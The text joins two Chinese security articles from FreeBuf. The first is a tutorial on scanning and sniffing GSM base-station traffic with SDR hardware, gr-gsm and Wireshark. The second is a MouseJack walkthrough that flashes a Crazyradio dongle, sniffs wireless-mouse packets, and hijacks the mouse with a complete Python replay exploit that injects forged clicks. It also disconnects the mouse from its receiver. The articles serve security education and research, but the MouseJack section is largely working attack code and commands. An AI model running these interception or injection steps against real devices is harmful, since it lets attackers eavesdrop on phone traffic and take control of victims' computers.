GSM Hacking Part ① :使用SDR扫描嗅探GSM网络

http://www.freebuf.com/articles/wireless/110773.html

作者:雪碧0xroot@漏洞盒子安全团队

GSM Hacking

0x00 前言

近期,发现Crazy Danish Hacker在YouTuBe发布了一个挺不错的教程视频:使用SDR嗅探监听GSM网络的通信流量(GSM Sniffing Teaser – Software Defined Radio Series)。该教程从电视棒的安装到扫描、嗅探工具的使用、GSM流量包的捕获解密都有详细说明演示:

http://v.qq.com/iframe/player.html?vid=u0317s0mw3n

作为搬运工,在这里将分两三部分参考&总结一下该教程的主要内容,输出一篇中文教程,希望能够给对这方面感兴趣的童鞋带来一定帮助。

0x01 环境搭建

OS:GNU Radio LiveCD

HardWare:电视棒(rtl-sdr)、HackRF、Bladerf 均可

1.安装编译依赖包

sudo apt-get install git cmake libboost-all-dev libcppunit-dev swig doxygen liblog4cpp5-dev python-scipy

2.编译gr-gsm

git clone https://github.com/ptrkrysik/gr-gsm.git
cd gr-gsm
mkdir build
cd build
cmake ..
make
sudo make install
sudo ldconfig 

3.编译kalibrate

kalibrate-hackrf (HackRF用户)

git clone https://github.com/scateu/kalibrate-hackrf.git
cd kalibrate-hackrf
./bootstrap
./configure
make
sudo make install

kalibrate-rtl(电视棒用户)

git clone https://github.com/steve-m/kalibrate-rtl.git
cd kalibrate-hackrf
./bootstrap
./configure
make
sudo make install

0x01 扫描基站

1.1 kal

kal 
error: must enter channel or frequency
kalibrate v0.4.1-hackrf, Copyright (c) 2010, Joshua Lackey
modified for use with hackrf devices, Copyright (c) 2014, scateu@gmail.com
Usage:
    GSM Base Station Scan:
        kal <-s band indicator> [options]

    Clock Offset Calculation:
        kal <-f frequency | -c channel> [options]

Where options are:
    -s    band to scan (GSM850, GSM-R, GSM900, EGSM, DCS, PCS) //指定扫描的网络类型&频段
    -f    frequency of nearby GSM base station
    -c    channel of nearby GSM base station
    -b    band indicator (GSM850, GSM-R, GSM900, EGSM, DCS, PCS)
    -a    rf amplifier enable
    -g    vga (bb) gain in dB, 0-40dB, 8dB step
    -l    lna (if) gain in dB, 0-62dB, 2dB step
    -d    rtl-sdr device index
    -e    initial frequency error in ppm
    -E    manual frequency offset in hz
    -v    verbose
    -D    enable debug messages
    -h    help

kal -s GSM900 -g 40 -l 40 //扫描GSM900频段

Clipboard Image.png

1.2 gr-gsm (HackRF、BladeRF)

在编译完成的gr-gsm项目中,App目录里有用于扫描、解码gsm流量的脚本:

Clipboard Image.png

Clipboard Image.png

1.3 Bladerf 配合 SDR-sharp

通过上述方式,我们获取到了基站的一些参数信息,如:中心频率、信道、ARFCN值、LAC、MCC、MNC值等。这为我们接下来的工作提供了便利。那么windows用户有其它方式来确定基站的中心频率么?
Windows用户可通过SDR-sharp的瀑布图来确认基站的工作频率,由于HackRF性能问题,查看GSM频率时瀑布图效果不明显,所以我这里用BladeRF来实现这需求。由于SDR-sharp默认不支持BladeRF硬件,首先我们需为其安装硬件驱动,详情可参考:https://github.com/jmichelp/sdrsharp-bladerf

复制Release目录中的SDRSharp.BladeRF.dll到SDR主目录;

复制GitHub项目中的LibBladeRF目录下所有dll文件到SDR主目录;
在FrontEnds.xml文件增加

<add key="BladeRF" value="SDRSharp.BladeRF.BladeRFIO,SDRSharp.BladeRF" />

Clipboard Image.png

Clipboard Image.png

在SDR-sharp中加载BladeRF的FPGA固件:

Clipboard Image.png

最终效果:

CnSzzAMUAAAttef.jpg

0x02 Sniffer 嗅探

通过扫描我们获取到了基站的中心频率、信道、ARFCN值、LAC、MCC、MNC值等参数信息:

Clipboard Image.png

上图表明在937.4MHz、940.4MHz这两个中心频率发现GSM基站信号。

ubuntu@ubuntu:~/gr-gsm/apps$ ls
CMakeLists.txt  grgsm_livemon      grgsm_livemon.py  helpers
grgsm_decode    grgsm_livemon.grc  grgsm_scanner     README

ubuntu@ubuntu:~/gr-gsm/apps$ grgsm_livemon -h
linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc

Usage: grgsm_livemon: [options]

Options:
  -h, --help            show this help message and exit
  --args=ARGS           Set Device Arguments [default=]
  -f FC, --fc=FC        Set fc [default=939.4M]
  -g GAIN, --gain=GAIN  Set gain [default=30]
  -p PPM, --ppm=PPM     Set ppm [default=0]
  -s SAMP_RATE, --samp-rate=SAMP_RATE
                        Set samp_rate [default=2M]
  -o SHIFTOFF, --shiftoff=SHIFTOFF
                        Set shiftoff [default=400k]
  --osr=OSR             Set OSR [default=4]

我们来嗅探一下937.4MHz的基站:

grgsm_livemon -f 937.4

Clipboard Image.png

右侧终端显示成功捕获到了基站通信数据包。

0x03 Decode解密

3.1 安装WireShark

apt-get install wireshark

3.2 嗅探&解密

ubuntu@ubuntu:~/gr-gsm/apps$ ls
CMakeLists.txt  grgsm_livemon      grgsm_livemon.py  helpers
grgsm_decode    grgsm_livemon.grc  grgsm_scanner     README

ubuntu@ubuntu:~/gr-gsm/apps$ gnuradio-companion grgsm_livemon.grc

Clipboard Image.png

执行GRC流图:

Clipboard Image.png

sudo wireshark -k -Y 'gsmtap && !icmp' -i lo

捕获到的数据包如下:

Clipboard Image.png

解密方式可先参考GitHub:

Usage: Decoding How To · ptrkrysik/gr-gsm Wiki
Decoding-hopping-channels
在文章第二部分内容中,我们将使用鉴权后分配临时识别码 TMSI、KC对捕获到的GSM通信数据包进行解密。

第三部分,我们将根据gr-lte开源项目来讨论分析4G LTE基站的安全问题。(the gr-lte project is an Open Source Software Package which aims to provide a GNU Radio LTE Receiver to receive, synchronize and decode LTE signals.)

0x04 refer

https://github.com/ptrkrysik/gr-gsm/wiki/Usage

https://z4ziggy.wordpress.com/2015/05/17/sniffing-gsm-traffic-with-hackrf/

GSM Sniffing: Kalibrate-RTL Usage – Software Defined Radio Series #5

GSM Sniffing: Installing GR-GSM – Software Defined Radio Series #7

GSM Sniffing: Using GR-GSM – Software Defined Radio Series #8

*本文作者:雪碧0xroot@漏洞盒子安全团队,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

Mousejack Hacking : 如何利用MouseJack进行物理攻击

Author 漏洞盒子安全实验室:1c3z、雪碧0xroot

http://www.freebuf.com/articles/terminal/97011.html

14540858194014.png

演示视频

http://v.qq.com/iframe/player.html?vid=j0189thzc2o&tiny=0&auto=0

0x00 前言

近期安全公司Bastille Networks(巴士底狱)安全研究员发现大多数无线鼠标和接收器之间的通信信号是不加密的。黑客可对一两百米范围内存在漏洞的无线键鼠进行嗅探甚至劫持,从而控制受害者电脑,向计算机中输入任何指令!

IMG_0126.PNG

在本文中我们将演示如何利用mouseJack控制别人的鼠标。

0x01 环境搭建

刚开始选设备的时候在淘宝买了一块nRF24LU1 2.4GHz无线数传模块  和 2.4GHz nRF24LU1+PA+LAN 无线数传模块

nRF24LU1 2.4GHz无线数传模块

结果硬是被坑了一个星期,期间在乌云drops看到三好学生的Mousejack测试指南一文后改用Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle。

1.1设备:

1.Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle:

883452548DD00630F64177D49FA8A53E.jpg

2.戴尔DELL某款存在漏洞的键鼠

3.笔记本、虚拟机:Virtual Box 、OS:kali

1.2 插入设备&安装驱动

插入Crazyradio nRF24LU1+ USB radio dongle,如果是Windows的主机需要通过zadig (下载链接: http://pan.baidu.com/s/1qXbbK1A 密码: 2fnd)来安装Crazyradio nRF24LU1+ USB radio dongle的硬件驱动:

zadig

1.3 环境部署

apt-get install sdcc binutils python python-pip
pip install -U pip
pip install -U -I pyusb
pip install -U platformio

apt-get install sdcc binutils python python-pip

接着把设备接入到虚拟机,执行lsusb检测设备是否识别:(注 刚买的设备在这一步可以看到有个设备的id为1915:7777,本文中使用的设备已经执行完下文所有步骤,所以文中截图的ID值有所不同

lsusb

1.4刷入crazyradio pa固件

git clone https://github.com/bitcraze/crazyradio-firmware
cd crazyradio-firmware

python usbtools/launchBootloader.py    这一步最好在Virtual Box中执行,如果使用VM将会报错!

wget https://github.com/bitcraze/crazyradio-firmware/releases/download/0.53/cradio-pa-0.53.bin  下载cradio pa模块固件

python usbtools/nrfbootload.py flash cradio-pa-0.53.bin 烧录固件

此时重插拔设备,然后执行lsusb Crazyradio nRF24LU1+ USB radio dongle设备的ID为1915:1011

1.5编译MouseJack项目

git clone https://github.com/RFStorm/mousejack.git
cd mousejack
make
make install

mousejack

绿色部分以及上一行提示固件刷入成功,需要重新插拔一下设备。升级为mousejack的固件时,设备ID为1915:1012。

0x02 蓝牙频段&蓝牙跳频

3月19日更新:蓝牙有79个信道,而无线鼠标远不止。虽然无线鼠标不是用的蓝牙,但是我们可以通过蓝牙的跳频来理解无线鼠标的跳频的原理和目的。

蓝牙规范

在扫描嗅探之前我们来了解一下蓝牙的跳频。蓝牙工作于2.4~2.48GHz ISM频段,由于该频段频谱异常拥挤(11b/g,微波炉、WIFI等),并且BlueTooth采用低功耗(-6~+4dBm)。因此为了避免频率的相互冲突,蓝牙采用了AFH(Adaptive Frequency Hopping),LBT(Listen Before Talk),功率控制等抗干扰措施。 AFH 的实现过程为设备识别、信道分类、分类信息交换、自适应跳频。

设备识别:蓝牙设备之间进行互联之前,首先根据链路管理协议(LMP:Link Manager Protocol)交换双方之间的信息,确定双方是否均支持AFH模式,LMP信息中包含了双方应使用的最小信道数。此步骤由主机进行询问,从机回答。

信道分类:首先按照PLRs(Packet Loss Ratios)的门限制、有效载荷的CRC,HEC,FEC误差参数对每一个信道进行评估。从设备测量CRC时,也会自动检测此包的CRC,已决定此包的正误。然后主从设备分别按照LMP的格式形成一份分类表,之后主从设备的跳频会根据此分类表进行。

信道信息交换:主从设备会通过LMP命令通知网络中的所有成员,交换AFH的信息,信道被分为好信道,坏信道,未用信道。主从设备之间联系以确定那些信道可用,那些不可用。

执行AFH:先进性调频编辑,以选择合适的调频频率。由于环境中会存在突发干扰,所以调频的分类表需要进行周期性跟新,并且及时进行相互交流。

FreeBuf小科普:

ISM,Industrial Scientific Medical :工业科学及医疗频带,是无须授权、任何人均可使用频谱的一部分。

蓝牙的波段为2400–2483.5MHz,这是全球范围内无需取得执照(但并非无管制的)的工业、科学和医疗用(ISM)波段的 2.4 GHz 短距离无线电频段。

蓝牙使用跳频技术,将传输的数据分割成数据包,通过79个指定的蓝牙频道分别传输数据包。每个频道的频宽为1 MHz。蓝牙4.0使用2 MHz 间距,可容纳40个频道。第一个频道始于2402 MHz,每1 MHz一个频道,至2480 MHz。有了适配跳频(Adaptive Frequency-Hopping 简称AFH)功能,通常每秒跳1600次。

跳频是Bluetooth使用的关键技术之一。对应于单时隙包,Bluetooth的跳频速率为1600跳每秒,对应于多时隙包,跳频速率有所降低;但在建链时(包括寻呼和查询)则提高为3,200跳每秒。使用这样高的跳频速率,Bluetooth系统具有足够高的抗干扰能力。下图展示的是低功耗蓝牙(Bluetooth Low Energy BLE)的信道:3个广播信道,37个数据信道:

低功耗蓝牙信道例表

蓝牙信道频率表

Clipboard Image.png

BlueTooth 有79个射频信道,按0-78排序,并于2402 MHz开始,以1 MHz分隔:(关于蓝牙和低功耗蓝牙的更多细节可参考:低功耗蓝牙(BLE)入门之如何调戏别人的小米手环 一文)

channel 00 : 2.402000000 Ghz
channel 01 : 2.403000000 Ghz

channel 78 : 2.480000000 Ghz

0x03扫描

mousejack项目tools目录中有扫描、嗅探等功能的Python脚本:

tree.jpg

注:每次执行完脚本的时候需要重新插拔一下Crazyradio,否则下次执行脚本将会出现报错。

这里我们来说一下如何通过扫描查找附近的无线鼠标。

用法: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-l] [-p PREFIX] [-d DWELL]

optional arguments:
  -h, --help                          show this help message and exit 显示帮助信息
  -c N [N ...], --channels N [N ...]  RF channels 指定扫描信道
  -v, --verbose                       Enable verbose output  输出(显示)详细信息
  -l, --lna                           Enable the LNA (for CrazyRadio PA dongles)  启用LAN
  -p PREFIX, --prefix PREFIX          Promiscuous mode address prefix
  -d DWELL, --dwell DWELL             Dwell time per channel, in milliseconds

scanner.jpg

我们可以看到执行扫描脚本后终端打印出了日期-时间、信道、MAC地址数据包数据等。

0x03 嗅探

如何缩小范围捕获指定设备的数据包呢?这里就要用到嗅探脚本了。我们可以对某个设备进行频繁操作,使其不停地发送无线数据包,这样在终端出现的概率随之增加,然后记录其MAC地址,启用指定MAC地址参数嗅探该设备以确定出该款鼠标的无线工作信道(一般为5个信道、不同品牌、型号其值也有所不同)。

用法: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES]

optional arguments:
  -h, --help                                 show this help message and exit 打印帮助信息
  -c N [N ...], --channels N [N ...]         RF channels  指定信道
  -v, --verbose                              Enable verbose output  启用详细信息输出
  -l, --lna                                  Enable the LNA (for CrazyRadio PA dongles)   启用LAN
  -a ADDRESS, --address ADDRESS              Address to sniff, following as it changes channels  指定MAC地址
  -t TIMEOUT, --timeout TIMEOUT              Channel timeout, in milliseconds  设定信道超时值
  -k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT  ACK timeout in microseconds, accepts [250,4000], step 250  
  -r RETRIES, --retries RETRIES              Auto retry limit, accepts [0,15]  

我手上有一款存在漏洞的设备,其MAC地址为C6:4A:78:A2:02,这一MAC地址是鼠标的还是USB适配器的我们暂且不说。已知的是:鼠标发送的数据包带这一MAC地址,USB适配器也只接收带有这MAC地址的数据包。执行

./nfr24-sniffer.py -a C6:4A:78:A2:02

然后频繁对鼠标进行操作,我们可以抓取到如下数据:

Clipboard Image.png

对其它鼠标进行测试的时候一般可以捕获到五个信道,这款设备我们捕获到了2、15、79、49、83 这五个信道。

其实也可以利用扫描脚本加入-c参数指定信道来进行嗅探:(这种方法会嗅探到其它在同一信道通信的鼠标设备数据,建议在无线鼠标设备少的场景使用此方法

./nrf24-scanner.py -c 2 15 79 49 83

Clipboard Image.png

0x04 攻击

4.1 劫持&重放

在上面的样本中,我们可以发现其中数据的一些规律。通过Crazyradio nRF24LU1+ USB radio dongle我们可以伪装成原装的鼠标,给USB适配器发送十六进制数据包。(可伪造鼠标左右键以及滚轮操作

鼠标左键数据捕获(只按鼠标左键):

[2016-03-17 14:21:57.827]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.834]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.848]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.898]  44  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.937]  44  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:58.002]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:58.096]  44  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:59.362]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

鼠标右键数据:

[2016-03-17 14:31:18.540]  79  10  C6:4A:78:A2:02  02:02:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:20.316]   2  10  C6:4A:78:A2:02  02:02:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:22.300]  44  10  C6:4A:78:A2:02  02:02:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:27.202]  44  10  C6:4A:78:A2:02  02:00:01:00:00:00:00:3B:61:74

[2016-03-17 14:31:27.275]  44  10  C6:4A:78:A2:02  02:00:02:00:00:00:00:3B:61:74

[2016-03-17 14:31:28.606]  79  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:29.157]   6  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

exp: replay.py

import time, logging
from lib import common
import random
common.init_args('./replay.py')
common.parser.add_argument('-a', '--address', type=str, help='Known address', required=True)
common.parser.add_argument('-d', '--payloads', type=str, nargs='+' ,help='Need replay payloads', required=True, metavar='S')

common.parse_and_init()

address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])

if len(address) < 2: 
    raise Exception('Invalid address: {0}'.format(common.args.address))

common.radio.enter_sniffer_mode(address)


def replay():
    payloads = common.args.payloads
    c = random.choice(common.channels)

    print 'Trying address {0} on channel {1}'.format(address_string,c)
    common.radio.set_channel(c)
    for payload in payloads:
        print 'Tring send payload {0}'.format(payload)
        payload = payload.replace(':', '').decode('hex')
        common.radio.transmit_payload(payload)
    time.sleep(0.5)

def left_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["21:01:00:AB:11:D1"]
    common.radio.set_channel(79)
    for payload in payloads:
        payload = payload.replace(':', '').decode('hex')
        common.radio.transmit_payload(payload,2,3)
    time.sleep(1.0)

def right_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["21:02:00:AB:11:D1"]
    for c in channels:
        common.radio.set_channel(int(c))
        for payload in payloads:
            payload = payload.replace(':', '').decode('hex')
            common.radio.transmit_payload(payload,2,0)
        time.sleep(0.5)


def down_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["01:00:FF:0B:11:D1","01:00:FD:0B:11:D1","01:00:F9:0B:11:D1"]
    for c in channels:
        common.radio.set_channel(int(c))
        for payload in payloads:
            payload = payload.replace(':', '').decode('hex')
            common.radio.transmit_payload(payload,2,0)
        time.sleep(0.3)

def up_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["01:00:00:0B:11:D1","01:00:03:0B:11:D1","01:00:06:0B:11:D1"]
    for c in channels:
        common.radio.set_channel(int(c))
        for payload in payloads:
            payload = payload.replace(':', '').decode('hex')
            common.radio.transmit_payload(payload,2,0)
        time.sleep(0.3)


while True:
    replay()
    #down_click()
    #up_click()
    #right_click()
    #left_click()
python replay.py -c 2 15 79 49 83  -a C6:4A:78:A2:02 -d 02:01:00:00:00:00:00:3B:61:74 02:00:00:00:00:00:00:3B:61:74 02:02:00:00:00:00:00:3B:61:74

replay目录位置 $mousejack/tools
-c 指定信道
-d 指定需要发送的数据

4.2解除鼠标与USB适配器通讯

./nrf24-network-mapper.py -a C6:4A:78:A2:02

Clipboard Image.png

提示Successful的时候无线鼠标已经失去了对电脑的控制权,被攻击者的内心OS:

Image

这时需要重新插拔一下无线键盘鼠标的USB适配器,鼠标键盘才能恢复正常使用。

0x06 参考&感谢

https://github.com/RFStorm/mousejack

三好学生@乌云drops :Mousejack测试指南